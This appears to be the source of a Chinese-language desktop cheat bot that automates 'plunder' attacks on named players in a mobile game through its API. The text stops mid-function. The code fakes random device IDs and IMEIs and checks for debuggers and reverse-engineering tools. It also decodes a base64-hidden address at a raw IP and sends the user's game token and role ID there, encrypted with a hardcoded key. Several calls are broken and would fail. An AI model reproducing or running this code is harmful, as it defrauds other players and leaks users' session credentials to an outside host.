import requests
import time
import json
import random
import datetime
import threading
import tkinter as tk
import random as _0x1a
import requests as _0x1b
import base64 as _0x1c
from functools import reduce as _0x1d
import string as _0x1e
from tkinter import scrolledtext, messagebox, filedialog, ttk
try:
    from ttkthemes import ThemedTk
except ImportError:
    ThemedTk = tk.Tk
from queue import Queue
import re
import os
from pathlib import Path
import platform
import base64
import pystray
from PIL import Image, ImageDraw
import winsound
import hmac
import hashlib
import logging
import ctypes
import psutil
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
logging.basicConfig(filename='plunder_security.log', level=logging.CRITICAL)
def is_debugger_present():
    if platform.system() == "Windows":
        return ctypes.windll.kernel32.IsDebuggerPresent() != 0
    return False
def check_suspicious_processes():
    suspicious_processes = ["ida64.exe", "ghidra.exe", "ollydbg.exe", "x64dbg.exe"]
    for proc in psutil.process_iter(['name']):
        if proc.info['name'].lower() in suspicious_processes:
            return True
    return False
TARGET_NICKNAMES = []
if platform.system() == "Windows":
    try:
        from ctypes import windll
        windll.shcore.SetProcessDpiAwareness(1)
    except:
        pass
BASE_URL = "https://farm-api.lucklyworld.com"
PREPARE_API = "/v8/api/game/bead/plunder/attack/prepare"
ATTACK_API = "/v8/api/game/bead/plunder/attack/start"
CONFIG_FILE = "plunder_config.json"
STATS_FILE = "plunder_stats.csv"
def generate_device_info():
    androidid = ''.join(random.choices('0123456789abcdef', k=16))
    imei = ''.join(random.choices('0123456789', k=15))
    return androidid, imei
class ToolTip:
    def __init__(self, widget, text):
        self.widget = widget
        self.text = text
        self.tip_window = None
        self.id = None
    def show_tip(self, event):
        if self.tip_window or not self.text:
            return
        x = self.widget.winfo_rootx() + 20
        y = self.widget.winfo_rooty() + self.widget.winfo_height() + 5
        self.tip_window = tw = tk.Toplevel(self.widget)
        tw.wm_overrideredirect(True)
        tw.wm_geometry(f"+{x}+{y}")
        tw.attributes("-alpha", 0.0)
        label = tk.Label(tw, text=self.text, background="#ffffe0", relief="solid", borderwidth=1, font=("Arial", 9), padx=5, pady=2)
        label.pack()
        self.id = self.widget.after(500, self.fade_in)
    def fade_in(self):
        alpha = self.tip_window.attributes("-alpha")
        if alpha < 1.0:
            alpha += 0.1
            self.tip_window.attributes("-alpha", alpha)
            self.id = self.widget.after(50, self.fade_in)
        else:
            self.id = None
    def hide_tip(self, event):
        if self.tip_window:
            self.tip_window.destroy()
            self.tip_window = None
        if self.id:
            self.widget.after_cancel(self.id)
            self.id = None
# 加载动画类
class LoadingIndicator:
    def __init__(self, canvas, x, y, radius=10):
        self.canvas = canvas
        self.x = x
        self.y = y
        self.radius = radius
        self.angle = 0
        self.arcs = []
        self.running = False
        self.colors = ["#0078d7", "#1a8ce3", "#2d9fef", "#40b2fb", "#66c1ff", "#8cd0ff", "#b3dfff", "#d9eeff"]
        for i in range(8):
            arc = self.canvas.create_arc(
                x - radius, y - radius, x + radius, y + radius,
                start=i * 45, extent=30, fill=self.colors[i], outline=""
            )
            self.arcs.append(arc)
    def start(self):
        if not self.running:
            self.running = True
            self.update()
    def stop(self):
        self.running = False
    def update(self):
        if self.running:
            self.angle = (self.angle + 10) % 360
            for i, arc in enumerate(self.arcs):
                start = (i * 45 + self.angle) % 360
                self.canvas.itemconfig(arc, start=start, fill=self.colors[i])
            self.canvas.after(50, self.update)
# GUI 应用程序
class PlunderGUI:
    def __init__(self, root):
        if self.detect_tampering():
            self.initiate_shutdown()
            return
        self.root = root
        self.root.title("Aether掠灵")
        self.root.geometry("1200x800")
        self.root.minsize(1000, 700)
        
        # 添加背景标签
        self.bg_label = tk.Label(self.root, text="vx: LLain998", font=("Arial", 12), fg="#CCCCCC", bg="#f0f0f0")
        self.bg_label.place(relx=0.5, rely=0.5, anchor="center")
        
        self.main_canvas = tk.Canvas(self.root)
        self.scrollbar = ttk.Scrollbar(self.root, orient="vertical", command=self.main_canvas.yview)
        self.scrollable_frame = ttk.Frame(self.main_canvas)
        self.scrollable_frame.bind(
            "<Configure>",
            lambda e: self.main_canvas.configure(scrollregion=self.main_canvas.bbox("all"))
        )
        self.main_canvas.create_window((0, 0), window=self.scrollable_frame, anchor="nw")
        self.main_canvas.configure(yscrollcommand=self.scrollbar.set)
        self.main_canvas.pack(side="left", fill="both", expand=True)
        self.scrollbar.pack(side="right", fill="y")
        self.main_canvas.bind_all("<MouseWheel>", self.q2w9z4x7)
        style = ttk.Style()
        style.configure("TButton", font=("Arial", 10), padding=8, background="#0078d7", foreground="black")
        style.configure("TLabel", font=("Arial", 10), background="#f0f0f0")
        style.configure("TEntry", font=("Arial", 10))
        style.configure("TFrame", background="#f0f0f0")
        style.map("TButton", background=[("active", "#005f99")], foreground=[("active", "white")])
        self.running = False
        self.log_queue = Queue()
        self.plunder_stats = {
            "total_attempts": 0,
            "successful_plunders": 0,
            "total_stones": 0.0,
            "records": [],
            "nickname_stats": {}
        }
        self.max_records = 100
        self.max_log_lines = 1000
        self.retry_attempts = 5
        self.stone_threshold = 168.0
        self.quick_refresh_count_max = 3
        self.quick_refresh_duration = 40  # 改为40秒
        self.quick_refresh_interval = 4   # 改为4秒
        self.auto_scroll_log = tk.BooleanVar(value=True)
        self.sound_enabled = tk.BooleanVar(value=True)
        self.log_buffer = []
        self.log_buffer_size = 100
        self.last_log_flush = time.time()
        self.log_flush_interval = 5
        self.k3m8v5n2j6()
        self.p9r2t7y4u1()
        self.root.protocol("WM_DELETE_WINDOW", self.h6j3k9m2n8)
        self.f1g4h7j2k5()
        self.root.after(1000, self.b8c3d6e9f2)
        self.root.after(100, self.l4m7n2p6q9)
    def x7p9q2r4t8(self, role_id, token):
        try:
            timestamp = str(int(time.time()))
            secret_key = b'11241414141421421412414141231313213131231231'[:32]
            message = f"{role_id}{token}{timestamp}".encode('utf-8')
            signature = hmac.new(secret_key, message, hashlib.sha256).hexdigest()
            iv = os.urandom(16)
            iv_base64 = base64.b64encode(iv).decode('utf-8')
            verify_data = {
                "role_id": role_id,
                "token": token,
                "timestamp": timestamp,
                "signature": signature
            }
            cipher = AES.new(secret_key, AES.MODE_CBC, iv)
            padded_data = pad(json.dumps(verify_data).encode('utf-8'), AES.block_size)
            encrypted_data = base64.b64encode(cipher.encrypt(padded_data)).decode('utf-8')
            verify_endpoint = base64.b64decode("aHR0cDovLzExNS4xOTAuNzcuMjUxOjUwMDAvdmVyaWZ5").decode()
            try:
                response = requests.post(verify_endpoint, json={"data": encrypted_data, "iv": iv_base64}, timeout=5)
                if response.status_code == 200:
                    result = response.json()
                    if result.get("status") == "success":
                        return True
                    else:
                        self.r8t3u6v9w2()
                        messagebox.showerror("", )
                        return False
                else:
                    self.r8t3u6v9w2()
                    messagebox.showerror("", )
                    return False
            except requests.exceptions.ConnectionError:
                self.r8t3u6v9w2()
                messagebox.showerror("", )
                return False
            except requests.exceptions.Timeout:
                self.r8t3u6v9w2()
                messagebox.showerror("", )
                return False
            except requests.exceptions.RequestException:
                self.r8t3u6v9w2()
                messagebox.showerror("", )
                return False
        except Exception:
            self.r8t3u6v9w2()
            messagebox.showerror("", )
            return False
    def q2w9z4x7(self, event):
        self.main_canvas.yview_scroll(int(-1*(event.delta/120)), "units")
    def k3m8v5n2j6(self):
        self.main_frame = ttk.Frame(self.scrollable_frame, padding="10")
        self.main_frame.pack(fill="both", expand=True)
        self.z6y3x9w4v1()
        self.c2b7a4m9k6()
        self.n8p3q6r2t9()
        self.u4v9w2x7y3()
        self.e6f2g7h3j8()
        self.i9k4m7n2p6()
    def z6y3x9w4v1(self):
        self.input_frame = ttk.Frame(self.main_frame, relief="raised", borderwidth=1)
        self.input_frame.grid(row=0, column=0, sticky="ew", pady=5, padx=5)
        self.input_frame.grid_columnconfigure(1, weight=1)
        ttk.Label(self.input_frame, text="目标昵称列表 (每行一个):").grid(row=0, column=0, sticky="w", pady=5, padx=5)
        self.nicknames_text = scrolledtext.ScrolledText(
            self.input_frame, height=6, font=("Arial", 10), bd=1, relief="solid", background="#ffffff"
        )
        self.nicknames_text.grid(row=1, column=0, columnspan=2, pady=5, padx=5, sticky="ew")
        ToolTip(self.nicknames_text, "输入目标昵称，每行一个，可从文件导入")
        button_frame = ttk.Frame(self.input_frame)
        button_frame.grid(row=2, column=0, columnspan=2, pady=5, sticky="w")
        ttk.Button(button_frame, text="从文件导入", command=self.s4t9u2v7w3).pack(side="left", padx=5)
        ttk.Button(button_frame, text="清空昵称", command=lambda: self.nicknames_text.delete("1.0", "end")).pack(side="left", padx=5)
        self.entry_frame = ttk.Frame(self.input_frame)
        self.entry_frame.grid(row=3, column=0, columnspan=2, pady=10, sticky="ew")
        self.entry_frame.grid_columnconfigure(1, weight=1)
        entries = [
            ("ROLE_ID:", "请输入角色ID（正整数）", 0),
            ("TOKEN:", "请输入API认证TOKEN", 1),
            ("灵石阈值:", "请输入抢夺的灵石阈值（如168.0）", 2),
            ("快速检测次数:", "请输入快速检测次数（正整数，如3）", 3),
            ("快速检测时长:", "请输入快速检测持续时间（秒，如40）", 4),
            ("检测间隔:", "请输入检测间隔时间（秒，如4）", 5)
        ]
        self.entries = {}
        for label_text, tooltip, row in entries:
            ttk.Label(self.entry_frame, text=label_text).grid(row=row, column=0, sticky="w", padx=5, pady=3)
            entry = ttk.Entry(self.entry_frame, font=("Arial", 10))
            entry.grid(row=row, column=1, padx=5, pady=3, sticky="ew")
            if label_text == "TOKEN:":
                entry.config(show="*")
            ToolTip(entry, tooltip)
            self.entries[label_text.strip(":")] = entry
        self.entries["灵石阈值"].insert(0, "168.0")
        self.entries["快速检测次数"].insert(0, "3")
        self.entries["快速检测时长"].insert(0, "40")  # 改为40
        self.entries["检测间隔"].insert(0, "4")      # 改为4
    def c2b7a4m9k6(self):
        self.auto_start_time = tk.StringVar(value="10:00")
        self.auto_stop_time = tk.StringVar(value="19:00")
        self.auto_start_enabled = tk.BooleanVar(value=True)
        self.auto_stop_enabled = tk.BooleanVar(value=True)
        self.last_check_time = None
        schedule_frame = ttk.LabelFrame(self.main_frame, text="定时设置", padding="5")
        schedule_frame.grid(row=1, column=0, sticky="ew", pady=5, padx=5)
        start_frame = ttk.Frame(schedule_frame)
        start_frame.grid(row=0, column=0, sticky="w", pady=2)
        ttk.Checkbutton(start_frame, text="启用自动启动", variable=self.auto_start_enabled).pack(side="left", padx=5)
        ttk.Label(start_frame, text="时间:").pack(side="left", padx=5)
        ttk.Entry(start_frame, textvariable=self.auto_start_time, width=10).pack(side="left", padx=5)
        stop_frame = ttk.Frame(schedule_frame)
        stop_frame.grid(row=1, column=0, sticky="w", pady=2)
        ttk.Checkbutton(stop_frame, text="启用自动停止", variable=self.auto_stop_enabled).pack(side="left", padx=5)
        ttk.Label(stop_frame, text="时间:").pack(side="left", padx=5)
        ttk.Entry(stop_frame, textvariable=self.auto_stop_time, width=10).pack(side="left", padx=5)
        ttk.Button(schedule_frame, text="保存定时设置", command=self.o6p2q9r4t7).grid(row=2, column=0, sticky="w", pady=5, padx=5)
    def n8p3q6r2t9(self):
        self.status_frame = ttk.Frame(self.main_frame)
        self.status_frame.grid(row=2, column=0, sticky="ew", pady=5, padx=5)
        self.status_var = tk.StringVar(value="状态: 已停止")
        self.status_label = ttk.Label(self.status_frame, textvariable=self.status_var, font=("Arial", 11, "bold"), foreground="#333333")
        self.status_label.pack(side="left")
        self.loading_canvas = tk.Canvas(self.status_frame, width=20, height=20, bg="#f0f0f0", highlightthickness=0)
        self.loading_canvas.pack(side="left", padx=10)
        self.loading_indicator = LoadingIndicator(self.loading_canvas, 10, 10, radius=8)
        self.countdown_var = tk.StringVar(value="距离下次刷新: N/A")
        ttk.Label(self.status_frame, textvariable=self.countdown_var, font=("Arial", 10)).pack(side="left", padx=10)
        ttk.Checkbutton(self.status_frame, text="日志自动滚动", variable=self.auto_scroll_log).pack(side="right")
    def u4v9w2x7y3(self):
        self.button_frame = ttk.Frame(self.main_frame)
        self.button_frame.grid(row=3, column=0, sticky="ew", pady=10, padx=5)
        self.start_button = ttk.Button(self.button_frame, text="启动", command=self.a2b7c4d9e6)
        self.start_button.pack(side="left", padx=5)
        self.stop_button = ttk.Button(self.button_frame, text="停止", command=self.f8g3h6j2k9, state="disabled")
        self.stop_button.pack(side="left", padx=5)
        ttk.Button(self.button_frame, text="清空日志", command=self.l4m7n2p6q9).pack(side="left", padx=5)
        ttk.Button(self.button_frame, text="导出统计", command=self.r2s7t4u9v3).pack(side="left", padx=5)
    def e6f2g7h3j8(self):
        self.output_frame = ttk.Frame(self.main_frame)
        self.output_frame.grid(row=4, column=0, sticky="nsew", pady=5, padx=5)
        self.output_frame.grid_columnconfigure(0, weight=1)
        self.output_frame.grid_columnconfigure(1, weight=1)
        self.output_frame.grid_rowconfigure(0, weight=1)
        log_frame = ttk.Frame(self.output_frame)
        log_frame.grid(row=0, column=0, sticky="nsew", padx=(0, 2))
        log_frame.grid_rowconfigure(1, weight=1)
        log_frame.grid_columnconfigure(0, weight=1)
        ttk.Label(log_frame, text="日志:").grid(row=0, column=0, sticky="w", padx=5, pady=2)
        log_container = ttk.Frame(log_frame)
        log_container.grid(row=1, column=0, sticky="nsew", padx=5, pady=5)
        log_container.grid_rowconfigure(0, weight=1)
        log_container.grid_columnconfigure(0, weight=1)
        self.log_text = scrolledtext.ScrolledText(
            log_container,
            state="disabled",
            font=("Arial", 8),
            bd=1,
            relief="solid",
            background="#ffffff",
            wrap=tk.WORD,
            width=40,
            height=20
        )
        self.log_text.grid(row=0, column=0, sticky="nsew")
        ToolTip(self.log_text, "显示抢夺过程的实时日志")
        stats_frame = ttk.Frame(self.output_frame)
        stats_frame.grid(row=0, column=1, sticky="nsew", padx=(2, 0))
        stats_frame.grid_rowconfigure(1, weight=1)
        stats_frame.grid_columnconfigure(0, weight=1)
        ttk.Label(stats_frame, text="抢夺统计:").grid(row=0, column=0, sticky="w", padx=5, pady=2)
        stats_container = ttk.Frame(stats_frame)
        stats_container.grid(row=1, column=0, sticky="nsew", padx=5, pady=5)
        stats_container.grid_rowconfigure(0, weight=1)
        stats_container.grid_columnconfigure(0, weight=1)
        self.stats_text = scrolledtext.ScrolledText(
            stats_container,
            state="disabled",
            font=("Arial", 10),
            bd=1,
            relief="solid",
            background="#ffffff",
            wrap=tk.WORD,
            width=40,
            height=20
        )
        self.stats_text.grid(row=0, column=0, sticky="nsew")
        ToolTip(self.stats_text, "显示抢夺统计，包括成功次数和按昵称汇总")
    def i9k4m7n2p6(self):
        self.status_bar_frame = ttk.Frame(self.main_frame)
        self.status_bar_frame.grid(row=5, column=0, sticky="ew", pady=2, padx=5)
        self.status_bar_var = tk.StringVar(value="就绪")
        ttk.Label(self.status_bar_frame, textvariable=self.status_bar_var, font=("Arial", 9), foreground="#555555").pack(side="left")
    def y3z8a4b9c2(self):
        icon_size = 64
        image = Image.new('RGB', (icon_size, icon_size), color='white')
        dc = ImageDraw.Draw(image)
        dc.rectangle([0, 0, icon_size-1, icon_size-1], outline='blue', width=2)
        dc.text((icon_size//4, icon_size//4), "A", fill='blue', font=None)
        menu = (
            pystray.MenuItem('显示主窗口', self.d6e2f9g4h7),
            pystray.MenuItem('开始', self.a2b7c4d9e6, enabled=lambda _: not self.running),
            pystray.MenuItem('停止', self.f8g3h6j2k9, enabled=lambda _: self.running),
            pystray.MenuItem('声音提醒', self.j2k7m4n9p3, checked=lambda _: self.sound_enabled.get()),
            pystray.MenuItem('退出', self.q9r2s7t4u8)
        )
        return pystray.Icon("Aether掠灵", image, "Aether掠灵", menu)
    def p9r2t7y4u1(self):
        self.icon = self.y3z8a4b9c2()
        threading.Thread(target=self.icon.run, daemon=True).start()
    def h6j3k9m2n8(self):
        if self.running:
            if messagebox.askokcancel("退出", "抢夺正在运行，是否停止并退出？"):
                self.f8g3h6j2k9()
                self.v2w7x4y9z3()
                self.icon.stop()
                self.root.destroy()
        else:
            self.v2w7x4y9z3()
            self.icon.stop()
            self.root.destroy()
    def r8t3u6v9w2(self, message):
        try:
            current_time = datetime.datetime.now().strftime("%m-%d %H:%M:%S")
            log_message = f"[{current_time}] {message}"
            self.log_buffer.append(log_message)
            if len(self.log_buffer) >= self.log_buffer_size or time.time() - self.last_log_flush >= self.log_flush_interval:
                self.v2w7x4y9z3()
            self.log_queue.put(log_message)
            self.root.after(0, self.l4m7n2p6q9)
        except Exception as e:
            print(f"日志记录失败: {str(e)}")
    def v2w7x4y9z3(self):
        try:
            if not self.log_buffer:
                return
            log_dir = Path("logs")
            log_dir.mkdir(exist_ok=True)
            log_file = log_dir / f"plunder_{datetime.datetime.now().strftime('%m%d')}.log"
            with open(log_file, "a", encoding="utf-8") as f:
                f.write("\n".join(self.log_buffer) + "\n")
            self.log_buffer.clear()
            self.last_log_flush = time.time()
        except Exception as e:
            print(f"刷新日志缓冲区失败: {str(e)}")
    def l4m7n2p6q9(self):
        try:
            while not self.log_queue.empty():
                message = self.log_queue.get_nowait()
                self.log_text.configure(state="normal")
                self.log_text.insert("end", message + "\n")
                if int(self.log_text.index('end-1c').split('.')[0]) > self.max_log_lines:
                    self.log_text.delete("1.0", "2.0")
                if self.auto_scroll_log.get():
                    self.log_text.see("end")
                self.log_text.configure(state="disabled")
        except Exception as e:
            print(f"更新日志显示失败: {str(e)}")
    def w4x9y2z7a3(self):
        self.log_text.configure(state="normal")
        self.log_text.delete("1.0", "end")
        self.log_text.configure(state="disabled")
        self.r8t3u6v9w2("日志已清空")
    def b6c2d7e4f9(self):
        self.stats_text.configure(state="normal")
        self.stats_text.delete("1.0", "end")
        self.stats_text.insert("end", f"总尝试次数: {self.plunder_stats['total_attempts']}\n")
        self.stats_text.insert("end", f"成功掠夺次数: {self.plunder_stats['successful_plunders']}\n")
        self.stats_text.insert("end", f"总获得灵石: {self.plunder_stats['total_stones']:.2f}\n")
        if self.plunder_stats['total_attempts'] > 0:
            success_rate = (self.plunder_stats['successful_plunders'] / self.plunder_stats['total_attempts'] * 100)
            self.stats_text.insert("end", f"成功率: {success_rate:.2f}%\n\n")
        else:
            self.stats_text.insert("end", "成功率: N/A\n\n")
        self.stats_text.insert("end", "昵称统计:\n")
        for nickname, stats in self.plunder_stats["nickname_stats"].items():
            self.stats_text.insert("end", f"{nickname}: 成功 {stats['count']} 次, 获得 {stats['stones']:.2f} 灵石\n")
        self.stats_text.insert("end", "\n成功掠夺记录:\n")
        for record in self.plunder_stats["records"]:
            self.stats_text.insert("end", f"{record['timestamp']} - {record['nickname']}: {record['stones']:.2f} 灵石\n")
        self.stats_text.see("end")
        self.stats_text.configure(state="disabled")
    def f1g4h7j2k5(self):
        try:
            if os.path.exists(CONFIG_FILE):
                with open(CONFIG_FILE, "r", encoding="utf-8") as f:
                    config = json.load(f)
                self.entries["ROLE_ID"].insert(0, config.get("role_id", ""))
                self.entries["TOKEN"].insert(0, config.get("token", ""))
                threshold = config.get("threshold", "168.0")
                quick_refresh_count = config.get("quick_refresh_count", "3")
                quick_refresh_duration = config.get("quick_refresh_duration", "20")
                quick_refresh_interval = config.get("quick_refresh_interval", "2")                
                try:
                    threshold_float = float(threshold)
                    if threshold_float > 0:
                        self.stone_threshold = threshold_float
                        self.entries["灵石阈值"].delete(0, "end")
                        self.entries["灵石阈值"].insert(0, str(threshold_float))
                        self.r8t3u6v9w2(f"从配置文件加载灵石阈值: {self.stone_threshold}")
                    else:
                        self.r8t3u6v9w2("配置文件中阈值无效，保持默认值: 168.0")
                    if quick_refresh_count.isdigit() and int(quick_refresh_count) > 0:
                        self.quick_refresh_count_max = int(quick_refresh_count)
                        self.entries["快速检测次数"].delete(0, "end")
                        self.entries["快速检测次数"].insert(0, quick_refresh_count)
                        self.r8t3u6v9w2(f"从配置文件加载快速检测次数: {self.quick_refresh_count_max}")
                    else:
                        self.r8t3u6v9w2("配置文件中快速检测次数无效，保持默认值: 3")
                    if quick_refresh_duration.isdigit() and int(quick_refresh_duration) > 0:
                        self.quick_refresh_duration = int(quick_refresh_duration)
                        self.entries["快速检测时长"].delete(0, "end")
                        self.entries["快速检测时长"].insert(0, quick_refresh_duration)
                        self.r8t3u6v9w2(f"从配置文件加载快速检测持续时间: {self.quick_refresh_duration}秒")
                    else:
                        self.r8t3u6v9w2("配置文件中快速检测持续时间无效，保持默认值: 20秒")
                    if quick_refresh_interval.isdigit() and int(quick_refresh_interval) > 0:
                        self.quick_refresh_interval = int(quick_refresh_interval)
                        self.entries["检测间隔"].delete(0, "end")
                        self.entries["检测间隔"].insert(0, quick_refresh_interval)
                        self.r8t3u6v9w2(f"从配置文件加载检测间隔时间: {self.quick_refresh_interval}秒")
                    else:
                        self.r8t3u6v9w2("配置文件中检测间隔时间无效，保持默认值: 2秒")
                except ValueError:
                    self.r8t3u6v9w2("配置文件中阈值或快速检测次数格式错误，保持默认值")
                self.nicknames_text.insert("1.0", "\n".join(config.get("nicknames", [])))
                self.r8t3u6v9w2("已加载保存的配置")
            else:
                self.r8t3u6v9w2("未找到配置文件，使用默认配置")
            if os.path.exists("schedule_config.json"):
                with open("schedule_config.json", "r", encoding="utf-8") as f:
                    schedule_config = json.load(f)
                self.auto_start_enabled.set(schedule_config.get("auto_start_enabled", True))
                self.auto_stop_enabled.set(schedule_config.get("auto_stop_enabled", True))
                self.auto_start_time.set(schedule_config.get("auto_start_time", "10:00"))
                self.auto_stop_time.set(schedule_config.get("auto_stop_time", "19:00"))
                self.r8t3u6v9w2(f"已加载定时设置: 启动 {self.auto_start_time.get()}, 停止 {self.auto_stop_time.get()}")
            else:
                self.r8t3u6v9w2("未找到定时配置文件，使用默认定时设置")
        except Exception as e:
            self.r8t3u6v9w2(f"加载配置失败: {str(e)}，使用默认设置")
    def m2n7p4q9r3(self, nicknames, role_id, token, threshold, quick_refresh_count, quick_refresh_duration, quick_refresh_interval):
        config = {
            "nicknames": nicknames,
            "role_id": role_id,
            "token": token,
            "threshold": threshold,
            "quick_refresh_count": quick_refresh_count,
            "quick_refresh_duration": quick_refresh_duration,
            "quick_refresh_interval": quick_refresh_interval
        }
        try:
            with open(CONFIG_FILE, "w", encoding="utf-8") as f:
                json.dump(config, f, ensure_ascii=False, indent=2)
            self.r8t3u6v9w2("配置已保存")
        except Exception as e:
            self.r8t3u6v9w2(f"保存配置失败: {str(e)}")
    def r2s7t4u9v3(self):
        try:
            with open(STATS_FILE, "a", encoding="utf-8") as f:
                if os.stat(STATS_FILE).st_size == 0:
                    f.write("时间,昵称,目标角色ID,获得灵石\n")
                for record in self.plunder_stats["records"]:
                    f.write(f"{record['timestamp']},{record['nickname']},{record['target_role_id']},{record['stones']:.2f}\n")
            self.r8t3u6v9w2(f"统计已导出到 {STATS_FILE}")
        except Exception as e:
            self.r8t3u6v9w2(f"导出统计失败: {str(e)}")
            messagebox.showerror("错误", f"导出统计失败: {str(e)}")
    def s4t9u2v7w3(self):
        file_path = filedialog.askopenfilename(filetypes=[("Text files", "*.txt"), ("All files", "*.*")])
        if file_path:
            try:
                with open(file_path, "r", encoding="utf-8") as f:
                    nicknames = [line.strip() for line in f if line.strip()]
                self.nicknames_text.delete("1.0", "end")
                self.nicknames_text.insert("1.0", "\n".join(nicknames))
                self.r8t3u6v9w2(f"已从 {file_path} 导入 {len(nicknames)} 个昵称")
            except Exception as e:
                self.r8t3u6v9w2(f"导入昵称失败: {str(e)}")
                messagebox.showerror("错误", f"导入昵称失败: {str(e)}")
    def x9y4z2a7b3(self, token):
        try:
            payload_part = token.split('.')[1]
            payload_part += '=' * (4 - len(payload_part) % 4)
            payload_json = base64.urlsafe_b64decode(payload_part).decode('utf-8')
            payload = json.loads(payload_json)
            uid = payload.get('jti')
            if not uid or not uid.isdigit() or int(uid) <= 0:
                raise ValueError("TOKEN 中未找到有效 UID")
            self.r8t3u6v9w2(f"从 TOKEN 提取 UID: {uid}")
            return uid
        except Exception as e:
            self.r8t3u6v9w2(f"解析 TOKEN 失败: {str(e)}")
            return None
    def c4d9e2f7g3(self, nicknames, role_id, token, threshold, quick_refresh_count, quick_refresh_duration, quick_refresh_interval):
        if not nicknames:
            return "请输入至少一个目标昵称"
        for nickname in nicknames:
            if len(nickname) > 50:
                return f"昵称 '{nickname}' 过长（最多50个字符）"
        if not role_id.isdigit() or int(role_id) <= 0:
            return "ROLE_ID 必须为正整数"
        if not re.match(r'^[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+\.[A-Za-z0-9-_]+$', token):
            return "TOKEN 格式无效（应为 JWT 格式）"
        try:
            threshold_float = float(threshold)
            if threshold_float <= 0:
                return "灵石阈值必须为正数"
        except ValueError:
            return "灵石阈值必须为有效数字"
        if not quick_refresh_count.isdigit() or int(quick_refresh_count) <= 0:
            return "快速检测次数必须为正整数"
        if not quick_refresh_duration.isdigit() or int(quick_refresh_duration) <= 0:
            return "快速检测持续时间必须为正整数"
        if not quick_refresh_interval.isdigit() or int(quick_refresh_interval) <= 0:
            return "检测间隔时间必须为正整数"
        return None
    def a2b7c4d9e6(self):
        if self.detect_tampering():
            self.initiate_shutdown()
            return
        if not self.x7p9q2r4t8(self.entries["ROLE_ID"].get().strip(), self.entries["TOKEN"].get().strip()):
            messagebox.showerror("错误", "验证失败，程序无法运行")
            self.f8g3h6j2k9()
            return
        current_time = datetime.datetime.now()
        current_time_str = current_time.strftime("%H:%M")
        if self.auto_stop_enabled.get():
            stop_time_str = self.auto_stop_time.get()
            is_in_range, _ = self.h4j9k2m7n3(current_time_str, self.auto_start_time.get(), stop_time_str)
            if not is_in_range:
                self.r8t3u6v9w2(f"当前时间 {current_time_str} 不在运行时间范围内，禁止启动")
                messagebox.showwarning("警告", f"当前时间 {current_time_str} 不在运行时间范围内，禁止启动")
                return
        nicknames = self.nicknames_text.get("1.0", "end").strip().split("\n")
        nicknames = [n.strip().lower() for n in nicknames if n.strip()]
        role_id = self.entries["ROLE_ID"].get().strip()
        token = self.entries["TOKEN"].get().strip()
        threshold = self.entries["灵石阈值"].get().strip()
        quick_refresh_count = self.entries["快速检测次数"].get().strip()
        quick_refresh_duration = self.entries["快速检测时长"].get().strip()
        quick_refresh_interval = self.entries["检测间隔"].get().strip()
        error = self.c4d9e2f7g3(nicknames, role_id, token, threshold, quick_refresh_count, quick_refresh_duration, quick_refresh_interval)
        if error:
            messagebox.showerror("错误", error)
            return
        uid = self.x9y4z2a7b3(token)
        if not uid:
            messagebox.showerror("错误", "无法从 TOKEN 提取有效 UID")
            return
        try:
            self.stone_threshold = float(threshold)
            self.quick_refresh_count_max = int(quick_refresh_count)
            self.quick_refresh_duration = int(quick_refresh_duration)
            self.quick_refresh_interval = int(quick_refresh_interval)
            self.r8t3u6v9w2(f"设置灵石阈值: {self.stone_threshold}, 快速检测次数: {self.quick_refresh_count_max}, 快速检测持续时间: {self.quick_refresh_duration}秒, 检测间隔时间: {self.quick_refresh_interval}秒")
        except ValueError:
            self.stone_threshold = 168.0
            self.quick_refresh_count_max = 3
            self.quick_refresh_duration = 20
            self.quick_refresh_interval = 2
            self.entries["灵石阈值"].delete(0, "end")
            self.entries["灵石阈值"].insert(0, "168.0")
            self.entries["快速检测次数"].delete(0, "end")
            self.entries["快速检测次数"].insert(0, "3")
            self.entries["快速检测时长"].delete(0, "end")
            self.entries["快速检测时长"].insert(0, "20")
            self.entries["检测间隔"].delete(0, "end")
            self.entries["检测间隔"].insert(0, "2")
            self.r8t3u6v9w2("输入的阈值或快速检测次数无效，恢复默认值")
        self.running = True
        self.start_button.config(state="disabled")
        self.stop_button.config(state="normal")
        self.nicknames_text.config(state="disabled")
        for entry in self.entries.values():
            entry.config(state="disabled")
        self.status_var.set("状态: 运行中")
        try:
            self.loading_indicator.start()
        except Exception as e:
            self.r8t3u6v9w2(f"加载动画启动失败: {str(e)}")
        self.status_bar_var.set("开始抢夺...")
        self.plunder_stats = {
            "total_attempts": 0,
            "successful_plunders": 0,
            "total_stones": 0.0,
            "records": [],
            "nickname_stats": {}
        }
        self.r8t3u6v9w2(f"启动抢夺，灵石阈值: {self.stone_threshold}, 快速检测次数: {self.quick_refresh_count_max}, 快速检测持续时间: {self.quick_refresh_duration}秒, 检测间隔时间: {self.quick_refresh_interval}秒")
        self.b6c2d7e4f9()
        self.m2n7p4q9r3(nicknames, role_id, token, str(self.stone_threshold), quick_refresh_count, str(self.quick_refresh_duration), str(self.quick_refresh_interval))
        androidid, imei = generate_device_info()
        self.r8t3u6v9w2(f"使用随机设备信息 - ANDROIDID: {androidid}, IMEI: {imei}")
        self.plunder_thread = threading.Thread(target=self.p4q9r2s7t3, args=(nicknames, uid, int(role_id), token, androidid, imei, int(self.quick_refresh_count_max), int(self.quick_refresh_duration), int(self.quick_refresh_interval)))
        self.plunder_thread.daemon = True
        self.plunder_thread.start()
    def f8g3h6j2k9(self):
        if not self.running:
            self.r8t3u6v9w2("抢夺未运行，无需停止")
            return
        self.running = False
        self.status_bar_var.set("已停止")
        self.r8t3u6v9w2("抢夺已停止")
        self.v2w7x4y9z3()
        self.start_button.configure(state="normal")
        self.stop_button.configure(state="disabled")
        self.nicknames_text.config(state="normal")
        for entry in self.entries.values():
            entry.config(state="normal")
        self.status_var.set("状态: 已停止")
        try:
            self.loading_indicator.stop()
        except Exception as e:
            self.r8t3u6v9w2(f"停止加载动画失败: {str(e)}")
        if hasattr(self, 'icon'):
            self.icon.stop()
            self.p9r2t7y4u1()
    def u2v7w4x9y3(self, is_refresh, role_id, uid, headers):
        payload = {
            "roleId": role_id,
            "isRefresh": is_refresh,
            "trayType": 1
        }
        for attempt in range(self.retry_attempts):
            try:
                self.status_bar_var.set(f"查询灵珠 (尝试 {attempt + 1}/{self.retry_attempts})...")
                response = requests.post(f"{BASE_URL}{PREPARE_API}?uid={uid}&version=2.0.0", json=payload, headers=headers, timeout=10)
                if response.status_code == 200:
                    self.status_bar_var.set("查询成功")
                    return response.json()
                elif response.status_code == 429:
